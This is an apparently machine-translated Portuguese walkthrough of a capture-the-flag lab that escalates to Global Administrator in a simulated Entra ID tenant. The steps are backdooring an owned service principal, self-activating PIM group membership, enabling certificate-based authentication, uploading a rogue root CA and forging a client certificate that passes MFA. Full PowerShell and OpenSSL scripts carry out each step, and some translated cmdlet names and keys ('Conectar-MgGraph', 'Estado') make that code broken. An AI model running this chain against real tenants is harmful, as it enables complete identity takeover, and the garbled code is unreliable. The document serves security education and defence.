Jonathan Elkabas e Tomer Nahum

Nota do editor

Este cenário faz parte de uma série de exemplos que demonstram a utilização do EntraGoatnosso ambiente de simulação Entra ID. Pode ler uma visão geral do EntraGoat e o seu valor aqui.


Autoridade de desvio de certificado - Acesso à raiz concedido

O Cenário 6 do EntraGoat detalha uma técnica de escalonamento de privilégios no Microsoft Entra ID em que o jogador começa com credenciais de baixo privilégio e obtém acesso de Administrador Global encadeando princípios de serviço mal configurados, funções de aplicação demasiado permissivas e funcionalidade legítima de autenticação baseada em certificados (CBA).

Usando credenciais vazadas de uma entidade de serviço legada, o invasor passa pela identidade de propriedade, abusa de permissões privilegiadas para modificar as configurações de todo o locatário, habilita o CBA por meio de um usuário qualificado para o Privileged Identity Management (PIM) for Groups e carrega uma autoridade de certificação de raiz desonesta. Isto resulta na personificação sem palavra-passe e em conformidade com MFA de um Administrador Global - permitindo a aquisição e persistência completas do inquilino.


Visão geral do caminho de ataque

  1. História inicial do ponto de apoio: O atacante obtém credenciais de cliente codificadas para uma entidade de serviço de automatização legada incorporada num repositório antigo do PowerShell.
  2. Pivotar através da propriedade: Verifica-se que o principal de serviço herdado é proprietário de outro principal de serviço. Utilizando Application.ReadWrite.OwnedByO atacante introduz uma porta de entrada na segunda entidade de serviço, acrescentando-lhe um segredo e pivôs.
  3. Abuso da configuração do inquilino: O segundo chefe de serviço tem Organization.ReadWrite.All permissão. Embora não seja capaz de gerir utilizadores ou funções, esta permissão permite a modificação das configurações de todo o inquilino, incluindo definições de autenticação.
  4. Ativação da autenticação baseada em certificados (CBA) através da atribuição PIM baseada em grupos: Verifica-se que um utilizador a que o atacante tem acesso é elegível para PIM num grupo que detém o Authentication Policy Administrator função. Depois de ativar a adesão, o atacante ativa o CBA no inquilino.
  5. Estabelecimento de confiança com uma autoridade de certificação de raiz (CA) maliciosa: O atacante gera e carrega uma CA de raiz desonesta para o inquilino, tornando-a efetivamente um fornecedor de identidade de confiança.
  6. Representação do Administrador Global: Por fim, o atacante cria um certificado de cliente para uma conta de Administrador Global, assina-o com a CA de raiz maliciosa e utiliza o CBA para autenticar - obtendo uma autenticação sem palavra-passe e compatível com MFA.

Fluxo de ataque

A Figura 1 mostra o fluxo deste ataque.

Figura 1. Fluxo do cenário de ataque Certificate Bypass Authority-Root Access Granted

Porque é que as equipas de segurança precisam de compreender as configurações incorrectas do Entra ID

Esta cadeia de ataque tira partido de configurações incorrectas comuns e de padrões de conceção fundamentais na Entra ID que são frequentemente mal compreendidos ou negligenciados em ambientes do mundo real.

  • A dívida da automação legada é real. As entidades de serviço criadas para automação podem permanecer não gerenciadas após a implantação. Com o tempo, isso pode levar a permissões e propriedade excessivas sobre outras entidades de serviço, criando cadeias de privilégios ocultas. Além disso, a má gestão de segredos - como credenciais codificadas em scripts - muitas vezes permanece no local quando "tudo está a funcionar", resultando em caminhos de acesso de longa duração e não monitorizados.
  • A propriedade da entidade de serviço concede direitos de gestão de credenciais. Muitas organizações não auditam cadeias de propriedade de entidades de serviço nem se apercebem das implicações.
  • As permissões não existem isoladamente. O ataque baseia-se numa combinação de permissões que parecem limitadas no seu âmbito quando vistas individualmente. No entanto, quando combinadas, permitem alterações de configuração que permitem a personificação de identidades privilegiadas através de mecanismos de autenticação legítimos:
    • Application.ReadWrite.OwnedBy permite gerir os princípios de serviço detidos por uma aplicação que efectua a chamada.
    • Organization.ReadWrite.All concede a capacidade de modificar as definições de configuração de toda a organização.
    • Authentication Policy Administrator (ou Policy.ReadWrite.AuthenticationMethod) ativa e configura o CBA.
  • Por último, a CBA perfura o limite de confiança do locatário. Uma vez configurada, a AC externa torna-se um emissor de identidade válido para qualquer utilizador do locatário.

NOTA: Os antecedentes teóricos do modelo de aplicação da Entra ID, bem como a autenticação baseada em certificados para os fluxos de início de sessão interativo do utilizador e de afirmação do cliente OAuth, foram abordados no Cenário 2 do blogue. Recomendamos revisá-lo primeiro para obter o contexto adequado.


Como detetar e defender-se contra a exploração da autenticação baseada em certificados

Configurações incorretas como as exploradas neste cenário são frequentemente ignoradas, mas podem levar ao comprometimento total de um locatário Entra ID. Para ajudar as organizações a identificar caminhos de ataque antes que eles possam ser abusados, soluções Semperis fornecem indicadores de exposição (IOEs) e indicadores de comprometimento (IOCs) para detetar e alertar sobre padrões perigosos e configurações incorretas, incluindo um indicador para persistência de autenticação baseada em certificado e verificações adicionais que avaliam a postura de segurança dos ambientes Entra ID.


Mergulho profundo no cenário: Apresentação passo a passo da solução

Vamos dar uma olhada nas etapas envolvidas na criação de uma autoridade de certificação raiz desonesta que pode desbloquear todo o locatário do Entra ID.


Etapa 1: Ponto de apoio inicial com credenciais de entidade de serviço codificadas

Começamos com uma fuga de informação secreta "encontrada" num repositório antigo do PowerShell pertencente a um script de automatização desatualizado, como mostra a Figura 2 .

Figura 2. A fuga de um segredo inicia a configuração do cenário

Utilizando essas credenciais, autenticamo-nos como o principal do serviço, como mostra a Figura 3 .

Figura 3. Autenticação como entidade de serviço desactualizada

A validação confirma a autenticação bem sucedida para Legacy-Automation-Service. Verificamos as permissões atribuídas à identidade e destaca-se uma permissão chave (Figura 4).

Figura 4. O Application.ReadWrite.OwnedBy permissão atribuída à identidade da aplicação

O Application.ReadWrite.OwnedBy concede à aplicação que a chama a capacidade de efetuar as mesmas operações que Application.ReadWrite.All para gerir (read/update/delete) mas apenas em objectos de aplicação para os quais o chamador é explicitamente listado como proprietário. Isto permite cenários de automatização de âmbito restrito sem expor uma gestão de aplicações alargada a todo o diretório.

Como demonstrado no Cenário 1a propriedade sobre uma entidade de serviço permite a gestão de credenciais, incluindo a adição de segredos do cliente. Para explorar potenciais alvos, enumeramos todas as entidades de serviço no locatário e verificamos quais são propriedade da identidade atualmente autenticada(Figura 5).

Figura 5. Enumerando os principais serviços no locatário Entra ID

Propriedade principal do serviço encontrada: DataSync-Production.

Curiosidade: É impossível definir uma entidade de serviço como proprietária de outra entidade de serviço através da interface de utilizador do portal do Azure ou do centro de administração do Entra, apesar de a propriedade estar visível(Figura 6). Apenas as identidades de utilizador são permitidas.

Figura 6. Visualização da propriedade principal do serviço no centro de administração Entra

Configuramos a propriedade da entidade de serviço no script de configuração chamando diretamente a API do Graph, que dá suporte a essa operação:

      $OwnerParams = @{
    "@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/$($LegacySP.Id)"
}
New-MgServicePrincipalOwnerByRef -ServicePrincipalId $DataSyncSP.Id -BodyParameter $OwnerParams

Etapa 2: Avaliar o alvo do pivô

Agora precisamos de verificar se a entidade de serviço que possuímos é um caminho viável para o aumento de privilégios. Podemos reutilizar o simples Get-ServicePrincipalRoles função de Cenário 1 para enumerar as atribuições de funções de diretório:

      function Get-ServicePrincipalRoles {
    param([object]$ServicePrincipal)
    Write-Host "Checking roles for: $($ServicePrincipal.DisplayName)"
    $roleAssignments = Get-MgRoleManagementDirectoryRoleAssignment -Filter "principalId eq '$($ServicePrincipal.Id)'" -ErrorAction SilentlyContinue
    $roles = @()
    
    if ($roleAssignments) {
        foreach ($assignment in $roleAssignments) {
            $roleDefinition = Get-MgRoleManagementDirectoryRoleDefinition -UnifiedRoleDefinitionId $assignment.RoleDefinitionId
            $roles += $roleDefinition
            Write-Host "   Role: $($roleDefinition.DisplayName)" -ForegroundColor Green
        }
    } else {
        Write-Host "   No directory roles assigned"
    }
    return $roles
}

Como mostra a Figura 7 , não são atribuídas funções de diretório.

Figura 7. Enumeração inicial sem funções de diretório

Mas, como já sabemos, as funções de diretório não são o único vetor com entidades de serviço. E as funções de aplicação(Figura 8)?

Figura 8. Enumerar funções de aplicação

Como noutros cenários, Directory.Read.All foi provavelmente concedido apenas para simplificar a fase de enumeração. Mais interessante é o facto de o mandante do serviço também ter o Organization.ReadWrite.All função da aplicação. Esta permissão é frequentemente ignorada, mas tem capacidades de grande impacto. Embora não conceda controlo sobre utilizadores, grupos ou funções, permite a modificação das definições de todo o inquilino, como a marca da empresa e as políticas de autenticação. De facto, conforme demonstrado no excelente blogue de investigação SpecterOps Persistência sem palavra-passe e escalada de privilégios no Azure1, esta permissão é suficiente para adicionar uma nova CA de raiz ao inquilino Entra IDque, em seguida, pode assinar certificados de utilizador falsos para início de sessão baseado em certificados.

Assim sendo, o nosso próximo passo é adicionar um segredo de cliente à entidade de serviço:

      $secretDescription = "Totalmente-Legítimo-EntraGoat-Secreto-$(Get-Date -Format 'yyyyMMdd-HHmmss')"
$passwordCredential = @{
    DisplayName = $secretDescription
    EndDateTime = (Get-Date).AddYears(1)
}

$newSecret = Add-MgServicePrincipalPassword -ServicePrincipalId $dataSyncSP.Id -PasswordCredential $passwordCredential
$dataSyncSecret = $newSecret.SecretText # guarde-o para mais tarde

Etapa 3: Pivotar para a entidade de serviço DataSync-Production

Embora tenhamos agora a capacidade de carregar uma autoridade de certificação de raiz "fiável", estamos impedidos de a utilizar para personificação porque não podemos ativar o CBA (Figura 9), que requer o Policy.ReadWrite.AuthenticationMethod permissão ou o Authentication Policy Administrator nenhum dos quais é atribuído à função DataSync-Production diretor de serviço.

Figura 9. A ACB é proibida

Depois de esgotar as opções de enumeração sob a identidade deste SP, chegámos a um beco sem saída. Não há ativação de CBA.

Mas ESPERA: Já analisámos o que o nosso utilizador comprometido, terence.mckenna, tem acesso a?


Etapa 4: Mudar o foco para o contexto do utilizador

O Terêncio é membro de algum grupo(Figura 10)?

Figura 10. Explorando os possíveis membros do grupo de Terêncio

Nada para além do grupo de inquilinos predefinido.

Alguma propriedade de grupo(Figura 11)?

Figura 11. Explorando a possível propriedade de grupo de Terence

Nenhum. Algum diretor de serviço detido(Figura 12)?

Figura 12. Nenhum diretor de serviço pertencente a Terence

Ainda nada. Algum PIM elegível para atribuições de grupo(Figura 13)?

Figura 13. Finalmente, a elegibilidade do grupo para Terence

Sim! Terence é elegível para o Authentication Policy Managers grupo.

Vamos verificar quais são as funções do Authentication Policy Managers grupo é atribuído (Figura 14).

Figura 14. Verificação de funções para o Authentication Policy Managers grupo

São papéis altamente privilegiados.

  • Application Administrator permite o controlo total sobre todas as aplicações no inquilino, incluindo a capacidade de adicionar segredos ou certificados a qualquer entidade de serviço. (Incluímos intencionalmente esta função para suportar vários caminhos de ataque de complexidade variável).
  • Authentication Policy AdministratorO sistema de gestão de crises (CBA), que é crucial, dá-nos a capacidade de ativar o CBA - o controlo exato que nos faltava para avançar com a cadeia de ataque.

NOTA: Como este é (atualmente) o cenário final da série EntraGoat, incluímos intencionalmente algumas dessas etapas de enumeração sem saída para ilustrar o processo de pensamento por trás da descoberta de privilégios. A exploração sistemática dos principais serviços e das identidades dos usuários é fundamental para identificar caminhos de escalonamento viáveis no Entra ID.


Passo 5: Ativar a atribuição do PIM

Agora que identificámos a elegibilidade para o Authentication Policy Managers podemos auto-ativar a atribuição do PIM utilizando a API Graph:

      $activationBody = @{
    accessId = "member"
    principalId = $currentUser.Id
    groupId = $authGroup.Id
    action = "selfActivate"
    scheduleInfo = @{
        startDateTime = (Get-Date).ToUniversalTime().ToString("o")
        expiration = @{
            type = "afterDuration"
            duration = "PT8H"
        }
    }
    justification = "Need to configure authentication policies for support tickets"
} 

Invoke-MgGraphRequest -Method POST `
    -Uri "https://graph.microsoft.com/beta/identityGovernance/privilegedAccess/group/assignmentScheduleRequests" `
    -Body $activationBody -ContentType "application/json"

Após um pequeno atraso de propagação, podemos voltar a verificar a pertença ao grupo para confirmar o estado ativo(Figura 15).

Figura 15. Confirmação de que estabelecemos uma participação ativa no grupo

Passo 6: Ativar a autenticação baseada em certificados

Com a associação ao grupo ativa, podemos ativar o CBA para todo o inquilino. Primeiro, consultamos o objeto de configuração CBA atual(Figura 16).

Figura 16. É um belo nome de função

Em seguida, activamos o CBA utilizando a seguinte carga útil para a configuração actualizada:

      $updateParams = @{
    Estado = "ativado"
    "@odata.type" = "#microsoft.graph.x509CertificateAuthenticationMethodConfiguration"
    certificateUserBindings = @(
        @{
            x509CertificateField = "PrincipalName"
            userProperty = "userPrincipalName"
            priority = 1
        }
    )
    authenticationModeConfiguration = @{
        x509CertificateAuthenticationDefaultMode = "x509CertificateSingleFactor"
        rules = @()
    }
}
   
Atualizar-MgPolicyAuthenticationMethodPolicyAuthenticationMethodConfiguration `
    -AuthenticationMethodConfigurationId "X509Certificate" -BodyParameter $updateParams

E verificamos que a CBA está agora activada(Figura 17).

Figura 17. CBA ativado

NOTA: Esta alteração também pode ser aplicada de forma interactiva através do centro de administração Entra:

  • Iniciar sessão em https://entra.microsoft.com utilizando a conta de Terence
  • Navegando para: Entra ID → Métodos de autenticação → Políticas → Autenticação baseada em certificado
  • Estado de comutação para Ativar, como mostra a Figura 18
Figura 18. CBA ativado através do centro de administração Entra

Dependendo da política do locatário, a configuração MFA pode ser necessária para Terence no primeiro login.


Passo 7: Carregar a autoridade de certificação de raiz maliciosa

Agora que o CBA está ativado, voltamos ao DataSync-Production e autenticar utilizando o segredo de cliente que lhe adicionámos anteriormente para adicionar uma AC de raiz às ACs de confiança do inquilino.

      Conectar-MgGraph -TenantId $tenantId -ClientSecretCredential $dsCred

NOTA: Criar, configurar e carregar uma CA raiz e um certificado de cliente para a Entra ID via CLI é um processo de várias etapas com vários pontos de falha. O Entra ID impõe um formato específico para o campo UPN na extensão SAN que o PowerShell se esforça para gerar com o OID necessário. Para evitar essas armadilhas, usamos o OpenSSL para gerar a CA raiz e o certificado do cliente.

Começamos por configurar a estrutura da AC com o seguinte script:

      $opensslBinary = "C:\Program Files\OpenSSL-Win64\bin\openssl.exe"

$adminUPN = (Get-MgUser -Filter "startswith(userPrincipalName,'EntraGoat-admin-s6')").UserPrincipalName

# Setup CA directory structure
$caWorkspace = "$env:TEMP\EntraGoat-CA"
if (Test-Path $caWorkspace) {
    Set-Location $env:TEMP
    Remove-Item $caWorkspace -Recurse -Force
}
@("$caWorkspace", "$caWorkspace\ca", "$caWorkspace\ca\issued") | ForEach-Object {
    New-Item -Path $_ -ItemType Directory -Force | Out-Null
}

# Initialize database (as OpenSSL requires specific format)
New-Item -Path "$caWorkspace\ca\index.db" -ItemType File -Force | Out-Null
"01" | Out-File "$caWorkspace\ca\serial" -Encoding ASCII -NoNewline

# Root Certificate Authority configuration
$caConfig = @"
[ ca ]
default_ca = entragoat_ca

[ entragoat_ca ]
dir = ./ca
certs = `$dir
new_certs_dir = `$dir/issued
database = `$dir/index.db
serial = `$dir/serial
RANDFILE = `$dir/.rand
certificate = `$dir/entragoat-root.cer
private_key = `$dir/entragoat-root.key
default_days = 730
default_crl_days = 30
default_md = sha256
preserve = no
policy = trust_no_one_policy

[ trust_no_one_policy ]
countryName = optional
stateOrProvinceName = optional
localityName = optional
organizationName = optional
organizationalUnitName = optional
commonName = optional
emailAddress = optional

[req]
x509_extensions = user_cert
req_extensions = v3_req

[ user_cert ]
subjectAltName = @alt_names

[ v3_req ]
subjectAltName = @alt_names

[alt_names]
otherName=1.3.6.1.4.1.311.20.2.3;UTF8:$adminUPN
"@

# Client certificate configuration with SAN extension
$clientConfig = @"
[req]
x509_extensions = user_cert
req_extensions = v3_req

[ user_cert ]
subjectAltName = @alt_names

[ v3_req ]
subjectAltName = @alt_names

[alt_names]
otherName=1.3.6.1.4.1.311.20.2.3;UTF8:$adminUPN
"@

# output configuration to files
$caConfig | Out-File "$caWorkspace\ca.conf" -Encoding ASCII
$clientConfig | Out-File "$caWorkspace\client.conf" -Encoding ASCII

Set-Location $caWorkspace

# Generate root CA private key
& $opensslBinary genrsa -out ca\entragoat-root.key 4096

# Create root certificate for entra trust
& $opensslBinary req -new -x509 -days 3650 -key ca\entragoat-root.key -out ca\entragoat-root.cer -subj "/CN=EntraGoat Evil Root CA/O=EntraGoat Security/C=US"

Write-Output "Root CA certificate path: $caWorkspace\ca\entragoat-root.cer" # upload this to the tenant

Depois de a infraestrutura da AC maliciosa estar preparada, o conteúdo de $caWorkspace\ca\ devem assemelhar-se aos ficheiros que Figura 19 espectáculos.

Figura 19. Saída para $caWorkspace\ca\

Agora podemos carregar nosso certificado raiz personalizado na lista de autoridades certificadoras confiáveis do Entra ID:

      # Load the root certificate
$rootCA = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new("$caWorkspace\ca\entragoat-root.cer")

$caAuthority = @{
    isRootAuthority = $true
    certificate = [System.Convert]::ToBase64String($rootCA.GetRawCertData())
}

# get existing CBA configuration
try {
    $existingConfigs = Invoke-MgGraphRequest -Method GET `
        -Uri "https://graph.microsoft.com/v1.0/organization/$tenantId/certificateBasedAuthConfiguration"
    
    if ($existingConfigs.value -and $existingConfigs.value.Count -gt 0) {
        # Update existing config
        $configId = $existingConfigs.value[0].id
        $existingCAs = $existingConfigs.value[0].certificateAuthorities
        
        # Add new CA to existing ones
        $updatedCAs = $existingCAs + @($caAuthority)
        
        $updateBody = @{
            certificateAuthorities = $updatedCAs
        } | ConvertTo-Json -Depth 3
        
        $response = Invoke-MgGraphRequest -Method PATCH `
            -Uri "https://graph.microsoft.com/v1.0/organization/$tenantId/certificateBasedAuthConfiguration/$configId" `
            -Body $updateBody `
            -ContentType "application/json"
    } else {
        throw "No existing configuration found"
    }
}
catch {
    # Create new CBA configuration
    $body = @{
        certificateAuthorities = @($caAuthority)
    } | ConvertTo-Json -Depth 3
    
    $response = Invoke-MgGraphRequest -Method POST `
        -Uri "https://graph.microsoft.com/v1.0/organization/$tenantId/certificateBasedAuthConfiguration" `
        -Body $body `
        -ContentType "application/json"
}

E verifique se o carregamento foi bem-sucedido e se o certificado é agora aceite pelo inquilino:

      $configs = Invoke-MgGraphRequest -Method GET `
    -Uri "https://graph.microsoft.com/v1.0/organization/$tenantId/certificateBasedAuthConfiguration"

$uploadSuccess = $false
if ($configs.value -and $configs.value.Count -gt 0) {
    foreach ($ca in $configs.value[0].certificateAuthorities) {
        $certBytes = [Convert]::FromBase64String($ca.certificate)
        $cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new($certBytes)
        
        if ($cert.Thumbprint -eq $rootCA.Thumbprint) {
            Write-Output "[+] Root CA successfully uploaded to tenant"
            Write-Output "    Thumbprint: $($cert.Thumbprint)"
            Write-Output "    Subject: $($cert.Subject)"
            $uploadSuccess = $true
            break
        }
    }
}

if (-not $uploadSuccess) {
    Write-Output "[-] Failed to verify root CA upload. Please check the configuration." 
}

Ótimo! A CA de raiz está agora carregada(Figura 20).

Figura 20. Confirmação do carregamento bem sucedido da CA de raiz

Com a CA desonesta aceite e confiável, podemos agora emitir um certificado de cliente para qualquer identidade (incluindo a EntraGoat-admin-s6 utilizador) e assiná-los utilizando a nossa nova e totalmente legítima CA de raiz:

      # Gerar chave privada do certificado do cliente e pedido de assinatura
& $opensslBinary req -new -sha256 -config client.conf -newkey rsa:4096 -nodes -keyout "$adminUPN.key" -out "$adminUPN.csr" -subj "/C=US/ST=Washingaot/L=EvilDistrict/O=EntraGoat/OU=Security/CN=$adminUPN"

# Assinar o certificado do cliente com a CA de raiz
& $opensslBinary ca -batch -md sha256 -config ca.conf -extensions v3_req -out "$adminUPN.crt" -infiles "$adminUPN.csr"

# Converter para o formato PFX para instalação no Windows
& $opensslBinary pkcs12 -inkey "$adminUPN.key" -in "$adminUPN.crt" -export -out "$adminUPN.pfx" -password pass:EntraGoat123!

Passo 8: Autenticação sem palavra-passe para o GA

Para completar o caminho de escalonamento privilegiado:

1. Instalar o ficheiro emitido .pfx certificado localizado em $caWorkspace no seu computador local (Figura 21). A palavra-passe de importação é EntraGoat123!.

Figura 21. Instalação do .pfx certificado

2. Siga as instruções do Assistente de importação de certificados. Após a instalação, confirme se o certificado aparece em certmgr.msc sob Pessoais → Certificados, como Figura 22 espectáculos.

Figura 22. Confirmação do nosso certificado de raiz do mal

3. Navegar para https://portal.azure.com ou https://entra.microsoft.com/.
4. Introduzir o UPN para o EntraGoat-admin-s6 conta.
5. Quando lhe for pedido, selecione o certificado instalado (Figura 23).

Figura 23. Selecionar o certificado de raiz do mal

Passo 9: Resolução de problemas de ligação CBA e MFA

Se a autenticação falhar com Falha na validação do certificado, é provável que se deva a parâmetros de certificado mal configurados ou a erros de formatação SAN/OID.

No entanto, se chegar com êxito à mensagem Manter sessão iniciada? e for redireccionado para Escolher uma forma de iniciar sessão, isso indica que:

  • O certificado é válido
  • A CBA está activada
  • Mas a política de ligação de autenticação do inquilino classifica os certificados como autenticação de fator único
  • E as políticas de inquilinos exigem autenticação multifactor para acesso privilegiado

Nesse caso, o valor do modo predefinido x509CertificateAuthenticationDefaultMode é definido como fator único x509CertificateSingleFactor e, por esse motivo, a CBA não satisfaz por si só os requisitos da AMF (Figura 24) e não pode ser utilizado para aceder a contas privilegiadas.

Figura 24. O MFA ainda é necessário

Para resolver este problema, um Authentication Policy Administrator pode atualizar o modo de ligação predefinido para x509CertificateMultiFactor, permitindo à CBA cumprir os requisitos da AMF (Figura 25).

Figura 25. Configuração da conformidade MFA

Podemos definir o CBA com o contexto de segurança do utilizador Terence:

      # Get current config
$current = Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/beta/policies/authenticationmethodspolicy/authenticationMethodConfigurations/X509Certificate"

# Check current mode
$current.authenticationModeConfiguration.x509CertificateAuthenticationDefaultMode

# change to MultiFactor if needed
$params = @{
    "@odata.type" = "#microsoft.graph.x509CertificateAuthenticationMethodConfiguration"
    id = "X509Certificate"
    certificateUserBindings = $current.certificateUserBindings
    authenticationModeConfiguration = @{
        x509CertificateAuthenticationDefaultMode = "x509CertificateMultiFactor"
        x509CertificateDefaultRequiredAffinityLevel = "low"
        rules = @()
    }
    includeTargets = $current.includeTargets
    excludeTargets = $current.excludeTargets
    state = "enabled"
    issuerHintsConfiguration = $current.issuerHintsConfiguration
    crlValidationConfiguration = $current.crlValidationConfiguration
    certificateAuthorityScopes = @()
}

# Apply changes
Invoke-MgGraphRequest -Method PATCH -Uri "https://graph.microsoft.com/beta/policies/authenticationmethodspolicy/authenticationMethodConfigurations/X509Certificate" -Body ($params | ConvertTo-Json -Depth 10)

# Verify change
$updated = Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/beta/policies/authenticationmethodspolicy/authenticationMethodConfigurations/X509Certificate"
$updated.authenticationModeConfiguration.x509CertificateAuthenticationDefaultMode

Alternativa (GUI): Também pode configurar esta opção através do portal de administração Entra(Figura 26). Siga este caminho:

Entra ID → Métodos de autenticação → Políticas → Autenticação baseada em certificados → Configurar

Em Authentication binding (Vinculação de autenticação), defina Default authentication strength (Força de autenticação predefinida ) como Multi-fator.

Figura 26. Configuração da conformidade com MFA no portal de administração Entra

Com esta política em vigor, o certificado de cliente forjado pode agora ser utilizado para iniciar sessão como EntraGoat-admin-s6totalmente sem palavra-passe e compatível com MFA, completando a cadeia de ataque e concedendo ao Administrador Global acesso para recuperar a bandeira a partir da IU (Figura 27).

Figura 27. Bandeira capturada

Quando o cenário estiver concluído, executamos o script de limpeza para restaurar o locatário ao seu estado original.


Lição aprendida: As configurações incorrectas abrem caminhos de ataque

Este cenário revela como as configurações incorretas encadeadas em princípios de serviço, atribuições de funções de aplicações e definições de autenticação podem ser utilizadas como arma para obter um compromisso total do inquilino Entra ID sem nunca interagir com palavras-passe de utilizador.

Começa com a fuga de credenciais para uma entidade de serviço legado com poucos privilégios, o que é comum na expansão da automatização, e aumenta com o abuso de permissões negligenciadas de Application.ReadWrite.OwnedBy e Organization.ReadWrite.All.

Ao alternar entre as entidades de serviço detidas e ativar uma atribuição de grupo baseada no PIM, o atacante ativa o CBA e carrega uma CA de raiz maliciosa para o inquilino.

Por fim, ao emitir um certificado de cliente falsificado para a conta Global Admin, alterando a regra da política de ligação de autenticação do inquilino em certificados para satisfazer os requisitos de MFA e iniciando sessão com a mesma através de CBA, o atacante contorna as palavras-passe e a MFA.

Esta via de ataque expõe lacunas negligenciadas nos limites da confiança e na arquitetura da identidade, mostrando como a identidade se tornou o novo perímetro, suscetível de ser mal configurada em camadas e de cadeias de privilégios não intencionais.


Explorar todos os desafios EntraGoat


Nota final

  1. https://posts.specterops.io/passwordless-persistence-and-privilege-escalation-in-azure-98a01310be3f

Declaração de exoneração de responsabilidade

Este conteúdo é fornecido apenas para fins educacionais e informativos. Destina-se a promover a consciencialização e a correção responsável das vulnerabilidades de segurança que possam existir nos sistemas que possui ou que está autorizado a testar. O uso não autorizado dessas informações para fins maliciosos, exploração ou acesso ilegal é estritamente proibido. A Semperis não endossa ou tolera qualquer atividade ilegal e se isenta de qualquer responsabilidade decorrente do uso indevido do material. Além disso, a Semperis não garante a exatidão ou a integridade do conteúdo e não assume qualquer responsabilidade por quaisquer danos resultantes da sua utilização.